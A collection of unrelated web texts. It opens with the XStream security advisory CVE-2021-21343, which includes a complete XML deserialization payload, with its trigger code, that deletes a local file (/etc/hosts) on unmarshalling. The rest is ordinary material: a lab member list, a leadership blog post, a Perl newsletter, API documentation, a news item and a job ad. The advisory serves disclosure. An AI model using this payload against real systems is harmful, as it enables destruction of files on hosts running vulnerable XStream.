CVE-2021-21343
Vulnerability
CVE-2021-21343: XStream is vulnerable to an Arbitrary File Deletion on the local host when unmarshalling as long as the executing process has sufficient rights.
Affected Versions
All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.
Description
The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in the deletion of a file on the local host.
Steps to Reproduce
Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:
<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'> <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'> <packet> <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'> <dataSource class='com.sun.xml.internal.ws.encoding.MIMEPartStreamingDataHandler$StreamingDataSource'> <part> <dataHead> <tail/> <head> <data class='com.sun.xml.internal.org.jvnet.mimepull.MemoryData'> <len>3</len> <data>AQID</data> </data> </head> </dataHead> <contentTransferEncoding>base64</contentTransferEncoding> <msg> <it class='java.util.ArrayList$Itr'> <cursor>0</cursor> <lastRet>1</lastRet> <expectedModCount>4</expectedModCount> <outer-class> <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/> <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/> <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/> <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/> </outer-class> </it> <in class='java.io.FileInputStream'> <fd/> <channel class='sun.nio.ch.FileChannelImpl'> <closeLock/> <open>true</open> <threads> <used>-1</used> </threads> <parent class='sun.plugin2.ipc.unix.DomainSocketNamedPipe'> <sockClient> <fileName>/etc/hosts</fileName> <unlinkFile>true</unlinkFile> </sockClient> <connectionSync/> </parent> </channel> <closeLock/> </in> </msg> </part> </dataSource> </message> <satellites/> <invocationProperties/> </packet> </indexMap> </comparator> </default> <int>3</int> <string>javax.xml.ws.binding.attachments.inbound</string> <string>javax.xml.ws.binding.attachments.inbound</string> </java.util.PriorityQueue> </java.util.PriorityQueue>
XStream xstream = new XStream(); xstream.fromXML(xml);
As soon as the XML gets unmarshalled, the payload gets executed and the references file is deleted.
Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.
Impact
The vulnerability may allow a remote attacker to delete arbitrary know files on the host as log as the executing process has sufficient rights only by manipulating the processed input stream.
Workarounds
See workarounds for the different versions covering all CVEs.
Credits
钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.


People
Current Collaborators
Former Collaborators
In Memoriam
Post-Doctoral Researchers
- Vitor Guerra
- Guilherme Schardong
PhD Students
Master Students
Undergraduate Students (IC Projects)
- Gabrielle Pinto
- Harllon Paz
Co-Supervison
- Daniel Perazzo (UFPe)
with Veronica Teichrieb
- Thiago Baldivieso (IME)
with Paulo Rosa
Supervision
Former Post Doctoctoral Researchers
Former Students
- Luiz Schirmer, Ph.D. PUC-Rio
[
Thesis ]
- Thiago Baldivieso, Ms. IME
[
Thesis ]
- Julia Giannella, Ph.D. ESDI/UERJ
[
Thesis ]
- Bruno Eduardo Madeira, Ph.D., IMPA (now at CTEx)
[
Thesis ]
-
Lenka Ptackova, Ph.D., IMPA (now a Post-Doc at IMPA)
[
Thesis ]
- Hallison da Paz, MS. IMPA (now at RJ-Gov)
[
Thesis ]
- Eduardo Vera Sousa, MS., UFF (now a PhD student at UFF)
[
Thesis ]
- Aldo Zang, Ph.D., IMPA (now a post-doc at IMPA)
[
Thesis ]
- Leandro Moraes Valle Cruz, Ph.D., IMPA (now a professor at UENF)
[
Thesis ]
- Hallison da Paz, B.S., IME (now a Master student at IMPA)
[
Final Project ]
- Juliano Kestenberg, M.Sc., ESDI (now a research assistant at IMPA)
[
Thesis ]
-
Leonardo Carvalho, IMPA, (now a PhD Student at UFRJ).
[unfinished]
- Barbara Castro, M.Sc. UFRJ, (now a PhD student at UFRJ)
[
Thesis ]
-
David Da Silva Pires , PhD, IME/USP
[
Thesis ]
-
Adriana Schulz , M.Sc., IMPA (now a PhD student at MIT)
[
Thesis ]
-
Alexandre Chapiro , M.Sc., IMPA (now a PhD student at ETH)
[
Thesis ]
-
Dalia Melissa Bonilla , Ph.D.,IMPA (now a professor at University of Cartagena)
[
Thesis ]
-
Leandro Moraes Valle Cruz, M.Sc.,IMPA (now a PhD student at IMPA)
[
Thesis ]
- Alexandra Camargo Alves, Ph.D.,USP (now a teacher at Colegio Pedro II)
[
Thesis ]
-
Ives Macedo Junior , Ph.D., IMPA (now a PhD student at UBC)
[
Thesis ]
- Jesus Mena Chalco, Ph.D. IME-USP (now a professor at UFABC)
[
Thesis
]
-
Thiago Siqueira Pereira , M.Sc. IMPA (now a PhD student at Princeton)
[
Thesis ]
-
Thales VIeira , Ph.D. PUC-Rio (now a professor at UFAL)
[
Thesis ]
-
Sergio Krakowski , Ph.D. IMPA (now an independent musician)
[
Thesis | pandeiro database ]
-
Anderson Mayrink da Cunha , Ph.D. IMPA (now a researcher at FGV)
[
Thesis ]
-
Fernando de Goes MS, Unicamp. (PhD. Student at Caltech, developer at PDI/Dreamworks, now at Pixar)
[
Thesis ]
-
Aldo Zang
, MS., IMPA. (now a research assistant at IMPA)
[ Thesis ] *best thesis award*
-
Esdras Soares de Medeiros
, PhD, IMPA. (now a professor at UFC)
[
Thesis ]
- Adriana Schulz
BE, UFRJ. (now a Master studend at IMPA)
[
Final Project ]
-
Joao Velho
Ms, ESDI-UERJ. (now a TV director at Rede Brasil)
[
Thesis ]
-
Paula Salgado Lucena Rodrigues
PhD, PUC-Rio. (now a professor at PUC-Rio)
[
Thesis ]
-
Alice Bodanzky
Bs, ESDI/UERJ, (now an interface designer at Ydreams)
[
Final Project ]
-
Ives Jose de Albuquerque Macedo Jr. MS, IMPA. (now a PhD student at IMPA)
[
Thesis ]
-
Bruno Madeira MS, IMPA. (now a research assistant at IMPA)
[
Thesis ] *best thesis award*
-
Carlos Andres Dominguez Caballero Universidad Michoacana
[
Presentation ]
-
Dimas Martinez Morera PhD, IMPA. (now a professsor at UFAL)
[
Thesis ]
-
Jonas Sossai MS, IMPA. (formerly a research intern at IMPA)
[
Thesis ]
-
Marcus Aurelius Farias MS, UFRGS.
[
Thesis ]
-
Vinicius Moreira Mello PhD-IMPA. (now a professor at UFAL)
[
Thesis ]
-
Sueni Arouca MS, PUC-Rio (now a PhD student at PUC-Rio)
[
Thesis ]
-
Fabiano Romeiro MS, IMPA, (now a PhD student at Harvard)
[
Thesis ]
-
Hedlena Bezerra MS, PUC-Rio, (now a PhD student at INRIA)
[
Thesis ]
-
Aruquia Barbosa Matos Peixoto. MS, COPPE-UFRJ, (now a PhD student at UFRJ)
[
Thesis ]
-
Jose Luiz Soares Luz. MS, IMPA, (now a developer at Prodec)
[
Thesis ]
-
Lourena Rocha. MS, IMPA, (now a professor at UFRN )
[
Thesis Abstract ]
-
Moacyr Alvim Horta Barbosa da Silva
PhD, IMPA. (now a professor at FGV)
[
Thesis ]
-
Heloisa Reis.
MS, PUC-Rio. (now a developer at Serpro)
[
Thesis ]
-
Antonio Lopes Apolinário Junior .
PhD, UFRJ. (formerly a reseracher at LNCC, now a professor at UBA)
[
Thesis ]
-
Boris Jesus Medeiros Madrazo .
PhD, IMPA. (visitor at UC-Davis, now a post-doc at IMPA)
[
Thesis ]
-
Sergio Estevao
PhD, PUC-Rio. (now a developer at Prodec)
[
Thesis ]
-
Adelailson Peixoto
PhD, PUC-Rio. (now a professor at UFAL)
[
Thesis ] *best thesis award*
-
Aldo Nogueira Bs, UERJ. (now, a MS student at PUC-Rio)
[
Final Project ]
-
Esdras Soares , MS, IMPA (now, a PhD student at IMPA)
[
Thesis ]
-
Marcelo Medeiros Carneiro PhD, PUC-Rio. (now a researcher at Instituto de Pesquisas da Marinha)
[
Thesis ]
-
Regis Destobbeleire
Bs. Ecole Polytechnique
[ Project ]
-
Paula Salgado Lucena
MS, PUC-Rio. (now, a PhD student at PUC-Rio)
[
Thesis ]
-
Paul Billault
Bs, Ecole Polytechnique.
[ Project ]
-
Anselmo de Paiva PhD, PUC-Rio. (now a professor at UFMA)
[
Thesis ]
-
Anderson Mayrink da Cunha , MS, IMPA (now, a PhD student at IMPA)
[
Thesis ]
-
Rodrigo Toledo , MS, PUC-Rio. (formerly a PhD student at INRIA, now a researcher at Petrobras)
[
Thesis]
-
Andre Machado de Matos , MS, PUC-Rio. (worked at Microsoft, now director of Lumis)
[
Thesis ]
-
Fernando Wagner da Silva , MS, UFRJ. (now at Innovate)
[
Thesis ] *best thesis award*
-
Bruno Eduardo Madeira (IME) (formerly a Master student at IMPA)
[
Final Project ]
PS: Some of the above thesis where co-supervised with collaborators (see the dissertations for details).
Last Update:
by lvelho.


This is part of a series of posts about the Leadership Lattice, a framework for learning about the different dimensions of management and leadership.
The next layer of the Leadership Lattice is the Impact domain - it’s what all the previous layers add up to.
The impact domain is concerned with the broader impact of an organization’s products and services in market. For smaller, single product organizations - it can be argued that impact stops at the previous domain - after all, that’s where we talked about the outcomes of teams. For bigger organizations, this includes the second order impacts - how your products impact society and the world as a whole.
As grand as this sounds - this domain has a fairly narrow set of concerns. It is in this domain that the mission and vision of an organization is set. The mission is the grander purpose of why the organization exists, and the vision is the ‘end state’ of how this can be realized.
However, this can also be where negative second order effects are realized. For all the positive change we look to create in technology, our disruption mindsets often blind us to the negative consequences of success.  I use that to make a point about the domain, not about Zuckerberg or Facebook. Ultimately it’s the leaders that are accountable for these effects, no matter how broadly they are realized.
The guiding mental model here is second order thinking. This is the exercise of thinking of decision consquences beyond the immediate and obvious. It’s about asking - “and then what?”. Second order thinking recognizes everything is a system and our decisions will have ripple effects, and it’s our responsibility to [at a minimum] understand those impacts. The products we build can have massive positive and negative impacts in the world - it’s about understanding and taking ownership over those consequences. This is the ultimate burden of leadership.
The practices in this domain are, as I mentioned, rather narrow - mostly because it’s either one person (the CEO), or a very small group of people carrying out this practice.
- Mission and Vision Setting, which reveals the positive intended consequences
- Long Term Planning, this is on a longer time horizon than the regular strategic planning of an organization.
Some frameworks that can help here are:
- Creating a Shared Vision, something also used in the Fifth Discipline
- Tarot Cards of Tech is a playful framework to evaluate the longer term impacts of your products in market


|
Perl Weekly
Issue #28 - 2012-02-06 - YAPC::EU CFP; TPF grant proposals; New book about one-liners
latest | archive | by Gabor Szabo
|
|
Wow, I don't know what happened, but this week we got so many posts. I had a really hard time to keep this newsletter at a reasonable size.
I saved some of the posts for later, in case next week, when the weather improves, the authors will go out instead of publishing articles.
Go, enjoy the articles...
|
|
|
Headlines
|
|
|
Announcements
|
|
|
Brocade Execs Offer Look Under OpenScript Engine's Hood
I especially liked the part: 'Basically, we ported the Perl programming language to the ADX application processor so that you can use APIs to control application delivery with a script. This means you get all the Perl goodness that you know and love for writing custom scripts to read or write layer three to seven headers based on your particular application needs.'
|
|
2012Q1 Grant Proposals
Alberto Simões announced 3 grant proposals that were submitted to TPF. Please check them and comment on them.
|
|
|
|
Articles
|
|
|
The 'Perl Tutorial' Tutorial
Joel Berger provides some directions how to select a good Perl tutorial. (one could, of course, just check out mine :-)
|
|
A Real Developer Challenge
Michael G Schwern describes how he thinks developers should be interview by potential employers. I am not sure if he talks from experience as an interviewer or as someone who is applying for a job. In either case interesting point.
|
|
|
|
Testing
|
Why I Run Tests on Install
In response to an article by Jonathan Swartz arguing against running tests on installation, chromatic describes why he runs test and why he was looking for ways to improve the speed of testing. Being able to run the tests after installation would be nice and would be able to help in case we upgrade a dependency that breaks an already installed module.
|
|
|
|
Refactoring
|
True + True == 2
'don't assume the author is an idiot'. An obvious refactoring and an educational post goes wrong. There is a certain relaxing feeling that even people like Schwern can make mistakes.
Tim Heaney (oylenshpeegul) uses Google::Directions to find out how could the president of USA visit the workshop. I am quite sure he will have to pick an alternate route, now that the planned one was exposed to dangerous Perl Hackers.
|
|
Perl: When DWIM Doesn't
An article by Douglas from Shutterstock about two surprising features of Perl that can easily trip programmers. Some interesting comments included.
|
|
Perl 6
|
|
|
The self promotion section
|
Debugging Perl scripts
This is one of the first entries of the Perl Tutorial that gives some simple ideas how to debug Perl code.
|
|
Perl on the command line
While in most of the Perl tutorial I deal with scripts, here I give a small glimpse into the world of one-liners.
|
|
|
|
Events
|
|
|
|
|
|
|
YAPC::NA
June 13-15, 2012, Madison, Wisconsin, USA
|
|
You know, you could get the Perl Weekly right in your mailbox. Every Week. Free of charge!
|


--- layout: archive title: Zulip Chat Archive permalink: /stream/113488-general/topic/.22refine.22.20can't.20go.20with.20.CE.BB.20.E2.9F.A8_.2C.20_.E2.9F.A9.2C.20_.html ---
example : ∀ i : @subtype ℕ (λ _, true), 0 = 0 := begin refine λ ⟨n, hn⟩, _, end
don't know how to synthesize placeholder context: _x : {_x // true}, _fun_match : {_x // true} → 0 = 0, n : ℕ, hn : true ⊢ 0 = 0 state: ⊢ {_x // true} → 0 = 0
no, it can't
obvious workarounds include using rintro
instead
Neither will using match
or anything else that triggers the equation compiler
Last updated: Apr 24 2020 at 19:02 UTC


US teens’ Rome police killing trial set for February
ROME, Nov 22 — An Italian judge has set a February date for the trial of two US teenagers charged with killing a police officer during a botched drug deal in Rome.
The killing of Mario Cerciello Rega, who was in plain clothes when he was stabbed to death on July 26, sparked a national outcry.
Yesterday, Judge Chiara Gallo set a February 26 trial date in the case against Finnegan Elder, 19, and Gabriel Natale Hjorth, 18, who are being held in a Rome jail.
Both are facing charges of voluntary manslaughter and attempted extortion, according to Italian media reports.
Police have said that Elder confessed to stabbing Cerciello Rega, 35, with a combat knife.
Cerciello Rega and his partner intercepted the teens after an intermediary on a drug deal reported them to the police for stealing his bag after they were sold aspirin instead of cocaine.
Police tracked the teens to their four-star hotel after the attack, where they found a large knife hidden in the false ceiling of their room.
Many questions remain about the events of the night, but on Tuesday La Repubblica newspaper published leaked, intercepted statements from Elder in prison saying the teens knew that Cerciello Rega and his partner, Andrea Varriale, were police as they identified themselves as such. — AFP


Joshua Davis
Systems Analayst 2
Profile Details
Phone:<PHONE_NUMBER>
Address: 586 Southern Lane, Cookeville, TN 38505
Assignment: Clement Hall
Pay Rate
Hours Worked
Hours Worked
Full Time
Part Time
Calculate


{% extends "base.html" %}
{% block content %}
{{ render_text("Hi " + name) }}
{{ render_text("Thank you for choosing SimpleLogin.") }}
{{ render_text("To get started, please confirm that " + email + " is your email address by clicking on the
button below or use this link " + activation_link + " within 1 hour.") }}
{{ render_button("Verify email", activation_link) }}
{% endblock %}


Toggle nav
Dashboards
Overview
Order history
Fluid layout
Icon nav
More
Toolkit docs
Bootstrap docs
Light UI
Example modal
Dashboards
Overview
Traffic
New vs Returning
Revenue
New vs Recurring
Traffic
Direct vs Referrals
Quick stats
Page views
12,938
5%
Downloads
758
1.3%
Sign-ups
1,293
6.75%
Downloads
758
1.3%
Countries
62.4%
United States
15.0%
India
5.0%
United Kingdom
5.0%
Canada
4.5%
Russia
2.3%
Mexico
1.7%
Spain
1.5%
France
1.4%
South Africa
1.2%
Japan
All countries
Most visited pages
3,929,481
/ (Logged out)
1,143,393
/ (Logged in)
938,287
/tour
749,393
/features/something
695,912
/features/another-thing
501,938
/users/username
392,842
/page-title
298,183
/some/page-slug
193,129
/another/directory/and/page-title
93,382
/one-more/page/directory/file-name
View all pages
Devices and resolutions
3,929,481
Desktop (1920x1080)
1,143,393
Desktop (1366x768)
938,287
Desktop (1440x900)
749,393
Desktop (1280x800)
695,912
Tablet (1024x768)
501,938
Tablet (768x1024)
392,842
Phone (320x480)
298,183
Phone (720x450)
193,129
Desktop (2560x1080)
93,382
Desktop (2560x1600)
View all devices
×
Example modal
You're looking at an example modal in the dashboard theme.
Cool, got it!


%inherit file="layout.html" /> <% import markdown from anvillib.config import prefix import common %> %if can_edit:
Please log in or register to post a comment.


|
| def | __init__ (self) |
| |
| def | addDOToTables (self, do, location=None, ownerView=False) |
| |
| def | callbackWithDo (self, doId, callback) |
| |
| def | callbackWithOwnerView (self, doId, callback) |
| |
| def | countObjects (self, classType) |
| |
| def | deleteDistributedObjects (self) |
| |
| def | deleteObjectLocation (self, object, parentId, zoneId) |
| |
| def | doByDistance (self) |
| |
| def | doFind (self, str) |
| |
| def | doFindAll (self, str) |
| |
| def | doFindAllInstances (self, cls) |
| |
| def | doFindAllMatching (self, str) |
| |
| def | doFindAllOfType (self, query) |
| |
| def | dosByDistance (self) |
| |
| def | findAnyOfType (self, type) |
| |
| def | getAllOfType (self, type) |
| |
| def | getDo (self, doId) |
| |
| def | getDoIdList (self, parentId, zoneId=None, classType=None) |
| |
| def | getDoList (self, parentId, zoneId=None, classType=None) |
| |
| def | getDoTable (self, ownerView) |
| |
| def | getGameDoId (self) |
| |
| def | getObjectsInZone (self, parentId, zoneId) |
| | def changeDOZoneInTables(self, do, newParentId, newZoneId, oldParentId, oldZoneId): if 1: self.storeObjectLocation(do.doId, newParentId, newZoneId) else: #assert not hasattr(do, "isQueryAllResponse") or not do.isQueryAllResponse oldLocation = (oldParentId, oldZoneId) newLocation = (newParentId, newZoneId) More...
|
| |
| def | getObjectsOfClassInZone (self, parentId, zoneId, objClass) |
| |
| def | getOwnerView (self, doId) |
| |
| def | getOwnerViewDoIdList (self, classType) |
| |
| def | getOwnerViewDoList (self, classType) |
| |
| def | handleObjectLocation (self, di) |
| |
| def | handleSetLocation (self, di) |
| |
| def | hasOwnerViewDoId (self, doId) |
| |
| def | isInDoTables (self, doId) |
| |
| def | isValidLocationTuple (self, location) |
| |
| def | printObjectCount (self) |
| |
| def | printObjects (self) |
| |
| def | removeDOFromTables (self, do) |
| |
| def | storeObjectLocation (self, object, parentId, zoneId) |
| |
| def | webPrintObjectCount (self) |
| |
| def getDoList |
( |
|
self, |
|
|
|
parentId, |
|
|
|
zoneId = None , |
|
|
|
classType = None |
|
) |
| |
Args:
parentId: any distributed object id.
zoneId: a uint32, defaults to None (all zones). Try zone 2 if
you're not sure which zone to use (0 is a bad/null zone and
1 has had reserved use in the past as a no messages zone, while
2 has traditionally been a global, uber, misc stuff zone).
dclassType: a distributed class type filter, defaults to None
(no filter).
If dclassName is None then all objects in the zone are returned;
otherwise the list is filtered to only include objects of that type.
| def getObjectsInZone |
( |
|
self, |
|
|
|
parentId, |
|
|
|
zoneId |
|
) |
| |
def changeDOZoneInTables(self, do, newParentId, newZoneId, oldParentId, oldZoneId): if 1: self.storeObjectLocation(do.doId, newParentId, newZoneId) else: #assert not hasattr(do, "isQueryAllResponse") or not do.isQueryAllResponse oldLocation = (oldParentId, oldZoneId) newLocation = (newParentId, newZoneId)
HACK: DistributedGuildMemberUD starts in -1, -1, which isnt ever put in the
zoneId2doIds table
if self.isValidLocationTuple(oldLocation): assert self.notify.debugStateCall(self) assert oldLocation in self.zoneId2doIds assert do.doId in self.zoneId2doIds[oldLocation] assert do.doId not in self.zoneId2doIds.get(newLocation, {})
remove from old zone
del(self.zoneId2doIds[oldLocation][do.doId]) if len(self.zoneId2doIds[oldLocation]) == 0: del self.zoneId2doIds[oldLocation] if self.isValidLocationTuple(newLocation):
add to new zone
self.zoneId2doIds.setdefault(newLocation, {}) self.zoneId2doIds[newLocation][do.doId]=do
returns dict of doId:distObj for a zone.
returned dict is safely mutable.


HTTPMethod
public enum HTTPMethod : String
extension HTTPMethod: CustomStringConvertible
An enum to describe the HTTP method (Get, Post, Put, Delete, etc) of an HTTP request. In general they match the actual HTTP methods by the same name.
-
The HTTP method for an HTTP GET request
Declaration
Swift
case get = "GET"
-
The HTTP method for an HTTP POST request
Declaration
Swift
case post = "POST"
-
The HTTP method for an HTTP PUT request
Declaration
Swift
case put = "PUT"
-
The HTTP method for an HTTP HEAD request
Declaration
Swift
case head = "HEAD"
-
The HTTP method for an HTTP DELETE request
Declaration
Swift
case delete = "DELETE"
-
The HTTP method for an HTTP OPTIONS request
Declaration
Swift
case options = "OPTIONS"
-
The HTTP method for an HTTP TRACE request
Declaration
Swift
case trace = "TRACE"
-
The HTTP method for an HTTP COPY request
Declaration
Swift
case copy = "COPY"
-
The HTTP method for an HTTP LOCK request
Declaration
Swift
case lock = "LOCK"
-
The HTTP method for an HTTP MKCOL request
Declaration
Swift
case mkCol = "MKCOL"
-
The HTTP method for an HTTP MOVE request
Declaration
Swift
case move = "MOVE"
-
The HTTP method for an HTTP PURGE request
Declaration
Swift
case purge = "PURGE"
-
The HTTP method for an HTTP PROPFIND request
Declaration
Swift
case propFind = "PROPFIND"
-
The HTTP method for an HTTP PROPPATCH request
Declaration
Swift
case propPatch = "PROPPATCH"
-
The HTTP method for an HTTP UNLOCK request
Declaration
Swift
case unlock = "UNLOCK"
-
The HTTP method for an HTTP REPORT request
Declaration
Swift
case report = "REPORT"
-
The HTTP method for an HTTP MKACTIVITY request
Declaration
Swift
case mkActivity = "MKACTIVITY"
-
The HTTP method for an HTTP CHECKOUT request
Declaration
Swift
case checkout = "CHECKOUT"
-
The HTTP method for an HTTP MERGE request
Declaration
Swift
case merge = "MERGE"
-
The HTTP method for an HTTP MSEARCH request
Declaration
Swift
case mSearch = "MSEARCH"
-
The HTTP method for an HTTP NOTIFY request
Declaration
Swift
case notify = "NOTIFY"
-
The HTTP method for an HTTP SUBSCRIBE request
Declaration
Swift
case subscribe = "SUBSCRIBE"
-
The HTTP method for an HTTP UNSUBSCRIBE request
Declaration
Swift
case unsubscribe = "UNSUBSCRIBE"
-
The HTTP method for an HTTP PATCH request
Declaration
Swift
case patch = "PATCH"
-
The HTTP method for an HTTP SEARCH request
Declaration
Swift
case search = "SEARCH"
-
The HTTP method for an HTTP CONNECT request
Declaration
Swift
case connect = "CONNECT"
-
Undocumented
Declaration
Swift
case acl = "ACL"
-
Undocumented
Declaration
Swift
case bind = "BIND"
-
Undocumented
Declaration
Swift
case unbind = "UNBIND"
-
Undocumented
Declaration
Swift
case rebind = "REBIND"
-
Undocumented
Declaration
Swift
case link = "LINK"
-
Undocumented
Declaration
Swift
case unlink = "UNLINK"
-
Undocumented
Declaration
Swift
case source = "SOURCE"
-
Undocumented
Declaration
Swift
case mkCalendar = "MKCALENDAR"
-
Created when creating instances of this enum from a string that doesn’t match any of the other values.
Declaration
Swift
case unknown = "UNKNOWN"
-
String format of an
HTTPMethod
instance.Declaration
Swift
public var description: String { get }


--- layout: gl-example category: examples title: Mapbox GL JS Examples exampletitle: Satellite map examplesubtitle: Satellite raster baselayer. permalink: /examples/satellite navigation: - title: Satellite map url: /examples/satellite ---


IO Bus Responsible for both transmitting messages back and forth between engine modules, and logging both game and srctem messages
Initialize IO module
System log flag - Default true
Game command log flag - Default true
Read Game Command from IO Bus
Log WARNING-level system message
Message content
Log system message
Log info-level system message
Push Game Command onto IO Bus
Generated using TypeDoc
IO Bus Responsible for both transmitting messages back and forth between engine modules, and logging both game and srctem messages


We’re hiring! PCGamesN is looking for a staff writer for our hardware channel
by Dave JamesPCGamesN is looking for a full-time staff writer to assist with the day-to-day running of the techie side of the site. And we don’t mean tech support, we mean our sparkling hardware channel… though that might not stop people asking you for help.
This is an entry-level role, but we’re looking for someone with a passion for PC gaming and some interest and knowledge about the tech that powers it. You’ll need to back up that passion with the ability to write clearly and concisely. You’ll be required to test, benchmark, and push the latest tech to its limits, write accurate reviews and interesting, informative features based on your findings. You’ll definitely break things, but that’s okay. As part of our dedicated team we’ll help grow your hardware knowledge so you can find the most relevant industry happenings to react quickly and write engaging news content too.
You’ll have some understanding of online publishing and SEO best practises, as well as an analytical mind, a keen eye for detail, and the ability to work to deadlines. Working in the hardware team, you will help ensure PCGamesN’s tech coverage is the best around.
In addition to being an entertaining, accessible, and informative writer, you will also need to be comfortable appearing on camera in our hardware videos too. Don’t worry, it’s not as scary as it might sound.
Location: Bath, UK
Application deadline: November 30, 2019
Responsibilities include
- Testing the latest PC gaming hardware accurately and reliably
- Writing review and feature-based content using our standard testing methodology
- Scripting and presenting video content
- Selecting and creating engaging hardware news coverage
- Attending industry events, representing PCGamesN
- Interviewing industry figures
- Building and maintaining industry relationships
- Playing with new toys every single day
Required skills and experience
- Excellent writing ability
- An interest in PC gaming hardware
- Excellent attention to detail and organisation
- The ability to cope with multiple deadlines and a fast-moving workload
- Hands-on experience of getting inside a PC
Desirable skills and experience
- Experience in a similar role
- CMS familiarity
- On-camera experience
To apply please send your CV and covering letter, detailing what makes you the ideal candidate, to<EMAIL_ADDRESS>using the subject line: ‘Staff Writer – Hardware.’ We look forward to hearing from you!


So much hard earned experience shows through in @StarrHorne's entertaining talk on Postgres performance in Rails. #CascadiaRuby
8/11/2014, 3:11:58 PM
Favs: 1
Retweets: 1
link--- layout: tweet ---
So much hard earned experience shows through in @StarrHorne's entertaining talk on Postgres performance in Rails. #CascadiaRuby
8/11/2014, 3:11:58 PM
Favs: 1
Retweets: 1
link


This is a demo of Google's Shaka Player, a JavaScript library for adaptive video streaming.
Choose an asset and tap Load. (On Android, you may also need to press the play button on the video.)
Documentation | Repo | NPM | CDNJS


COSC 3050
Social media links.
There are many aspects of the current usage of social media that really beg for an ethical look. More than "should we" or "shouldn't we", its really "WHAT should we."
| Waitress loses job. |
| How to get fired. |
| Fighting crime |
| Social Media Crime |
| Marketing |
| Social Media Ethics |


--- layout: post title: "My Week in Review" date: 2016-05-01 05:30:00 +0000 tags: image: https://s3.amazonaws.com/audreywatters/2016-05-01-typewriter.jpg imagecredits: https://www.flickr.com/photos/donutgirl/7184357274 ---
"Personalized learning" is like Burger King's slogan "have it your way." "Hold the onions" does not radically transform your fast food meal
— Audrey Watters (@audreywatters) April 28, 2016
Image credits: The Noun Project


--- layout: default title: Hank Quinlan, Horrible Cop ---
I'm best known as the horrible cop from A Touch of Evil. Don't trust me. Read more about my life...


Visit Official Website Of C++
Let's Read The Online CheatSheet
Download Full free CheatSheet all in pdf books Format


metrics¶
This module implements various similarity metrics used across different scenarios. Many of these functions were developed by Rui Santos and Alexandre Marinho for their work in Toponym-Matching.
src.sim_measures.
skipgram
(str1, str2)[source]¶Implements Jaccard-skipgram metric.
Parameters: str1, str2 (str) – Input values in unicode. Returns: A similarity score normalized in range [0,1]. Return type: float
src.sim_measures.
davies
(str1, str2)[source]¶Implements Davies de Salles metric.
- str1, str2: str
- Input values in unicode.
Returns: A similarity score normalized in range [0,1]. Return type: float
src.sim_measures.
cosine
(str1, str2)[source]¶Implements Cosine N-Grams metric for n=[2,3].
- str1, str2: str
- Input values in unicode.
Returns: A similarity score normalized in range [0,1]. Return type: float
src.sim_measures.
damerau_levenshtein
(str1, str2)[source]¶Implements Damerau-Levenshtein metric.
- str1, str2: str
- Input values in unicode.
Returns: A similarity score normalized in range [0,1]. Return type: float
src.sim_measures.
jaro
(str1, str2)[source]¶Implements Jaro metric.
- str1, str2: str
- Input values in unicode.
Returns: A similarity score normalized in range [0,1]. Return type: float
src.sim_measures.
jaro_winkler
(str1, str2)[source]¶Implements Jaro-Winkler metric.
- str1, str2: str
- Input values in unicode.
Returns: A similarity score normalized in range [0,1]. Return type: float
src.sim_measures.
monge_elkan
(str1, str2)[source]¶Implements Monge-Elkan metric.
- str1, str2: str
- Input values in unicode.
Returns: A similarity score normalized in range [0,1]. Return type: float
src.sim_measures.
strike_a_match
(str1, str2)[source]¶Implements Dice Bi-Grams metric.
- str1, str2: str
- Input values in unicode.
Returns: A similarity score normalized in range [0,1]. Return type: float
src.sim_measures.
jaccard
(str1, str2)[source]¶Implements Jaccard N-Grams metric for n=[2,3].
- str1, str2: str
- Input values in unicode.
Returns: A similarity score normalized in range [0,1]. Return type: float
src.sim_measures.
soft_jaccard
(str1, str2)[source]¶Implements Soft-Jaccard metric.
- str1, str2: str
- Input values in unicode.
Returns: A similarity score normalized in range [0,1]. Return type: float
src.sim_measures.
sorted_winkler
(str1, str2)[source]¶Implements Sorted Jaro-Winkler metric.
- str1, str2: str
- Input values in unicode.
Returns: A similarity score normalized in range [0,1]. Return type: float
src.sim_measures.
lgm_jaro_winkler
(s1, s2, long_tolerance=False)[source]¶Implements LGM Jaro-Winkler metric.
- str1, str2: str
- Input values in unicode.
Returns: A similarity score normalized in range [0,1]. Return type: float
src.sim_measures.
lgm_sim_lterms
(s1, s2, split_thres)[source]¶Splits each toponym-string, i.e., s1, s2, to tokens, builds three distinct lists per toponym-string, i.e., base, mismatch and frequent, and assigns the produced tokens to these lists. The base lists contains the terms that are similar to one of the other toponym’s tokens, The mismatch contains the terms that have no similar pair to the tokens of the other toponym and the frequent list contains the terms that are common for the specified dataset of toponyms.
Parameters:
- s1, s2 (str) – Input values in unicode.
- split_thres (float) – If the similarity score is above this threshold, the compared terms are identified as base terms, otherwise as mismatch ones.
Returns: Three lists of terms identified as base, mismatch or frequent respectively per toponym, i.e., a for s1 and b for s2.
Return type: tuple of (dict of list of
str
, dict of list ofstr
, dict of list ofstr
)
src.sim_measures.
score_per_term
(base_t, mis_t, special_t, metric)[source]¶Computes three distinct similarity scores for each list of terms.
Parameters:
- base_t, mismatch_t special_t (list of str) – Lists of toponym terms identified as base, mismatch or frequent (special) respectively.
- metric (str) – Indicates the metric to utilize in order to calculate the similarity score by comparing individually the three lists.
Returns: A similarity score for every list of terms. Each score is normalized in range [0,1].
Return type:
src.sim_measures.
weighted_sim
(base_t, mis_t, special_t, metric, avg, test_mode=False)[source]¶Re-calculates the significance weights for each list of terms taking into account their lengths.
Parameters:
- base_t, mis_t, special_t (list of str) – Lists of toponym terms identified as base, mismatch or frequent (special) respectively.
- metric (str) – Indicates the metric to utilize in order to calculate the similarity score by comparing individually the three lists.
